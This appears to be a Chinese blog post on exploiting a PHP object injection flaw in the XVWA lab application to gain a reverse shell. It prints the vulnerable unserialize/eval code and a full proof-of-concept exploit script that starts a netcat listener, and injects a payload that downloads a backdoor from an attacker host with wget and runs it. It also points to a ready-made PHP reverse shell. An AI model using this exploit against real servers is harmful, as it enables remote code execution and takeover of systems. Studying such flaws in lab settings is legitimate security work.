PHP序列化/对象注入漏洞分析


Posted in PHP onApril 18, 2016

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

PHP 相关文章推荐
使用数据库保存session的方法
Oct 09 PHP
用PHP控制用户的浏览器--ob*函数的使用说明
Mar 16 PHP
php的ajax框架xajax入门与试用介绍
Dec 19 PHP
深入解析PHP中逗号与点号的区别
Aug 05 PHP
PHP简单实现“相关文章推荐”功能的方法
Jul 19 PHP
PHP永久登录、记住我功能实现方法和安全做法
Apr 27 PHP
php根据用户语言跳转相应网页
Nov 04 PHP
Yii2下点击验证码的切换实例代码
Mar 14 PHP
PHP实现网页内容html标签补全和过滤的方法小结【2种方法】
Apr 27 PHP
PHP使用微信开发模式实现搜索已发送图文及匹配关键字回复的方法
Sep 13 PHP
基于php数组中的索引数组和关联数组详解
Mar 12 PHP
php多进程中的阻塞与非阻塞操作实例分析
Mar 04 PHP
php实现三级级联下拉框
Apr 17 #PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
Apr 17 #PHP
orm获取关联表里的属性值
Apr 17 #PHP
ThinkPHP框架搭建及常见问题(XAMPP安装失败、Apache/MySQL启动失败)
Apr 15 #PHP
php基于jquery的ajax技术传递json数据简单实例
Apr 15 #PHP
PHP6连接SQLServer2005的三部曲
Apr 15 #PHP
php使用pear_smtp发送邮件
Apr 15 #PHP
You might like
php 获取mysql数据库信息代码
2009/03/12 PHP
PHP 文件上传全攻略
2010/04/28 PHP
php短域名转换为实际域名函数
2011/01/17 PHP
如何解决CI框架的Disallowed Key Characters错误提示
2013/07/05 PHP
PHP函数eval()介绍和使用示例
2014/08/20 PHP
ThinkPHP的MVC开发机制实例解析
2014/08/23 PHP
php微信分享到朋友圈、QQ、朋友、微博
2019/02/18 PHP
window.dialogArguments 使用说明
2011/04/11 Javascript
js中split函数的使用方法说明
2013/12/26 Javascript
js 3秒后跳转页面的实现代码
2014/03/10 Javascript
JavaScript中的Web worker多线程API研究
2014/12/06 Javascript
js中this的用法实例分析
2015/01/10 Javascript
jQuery实现3D文字特效的方法
2015/03/10 Javascript
js实现简洁大方的二级下拉菜单效果代码
2015/09/01 Javascript
JS实现的简洁纵向滑动菜单(滑动门)效果
2015/10/19 Javascript
jQuery实现简单倒计时功能的方法
2016/07/04 Javascript
jQuery实现微信长按识别二维码功能
2016/08/26 Javascript
微信小程序  网络请求API详解
2016/10/25 Javascript
jQuery实现单击按钮遮罩弹出对话框效果(2)
2017/02/20 Javascript
JS+CSS实现下拉刷新/上拉加载插件
2017/03/31 Javascript
详解nodejs微信公众号开发——5.素材管理接口
2017/04/11 NodeJs
vuejs 单文件组件.vue 文件的使用
2017/07/28 Javascript
Bootstrap4 gulp 配置详解
2019/01/06 Javascript
[15:20]DOTA2-DPC中国联赛 正赛 Elephant vs Aster 选手采访
2021/03/11 DOTA
在Python程序员面试中被问的最多的10道题
2017/12/05 Python
flask框架中的cookie和session使用
2021/01/31 Python
法国家具及室内配件店:home24
2017/01/21 全球购物
类成员函数的重载、覆盖和隐藏区别
2016/01/27 面试题
什么是Assembly(程序集)
2014/09/14 面试题
庆祝教师节活动方案
2014/01/31 职场文书
小学教师听课制度
2014/02/01 职场文书
安全承诺书格式
2014/05/21 职场文书
图书室标语
2014/06/21 职场文书
励志演讲稿800字
2014/08/21 职场文书
音乐剧猫观后感
2015/06/04 职场文书
Python如何利用pandas读取csv数据并绘图
2022/07/07 Python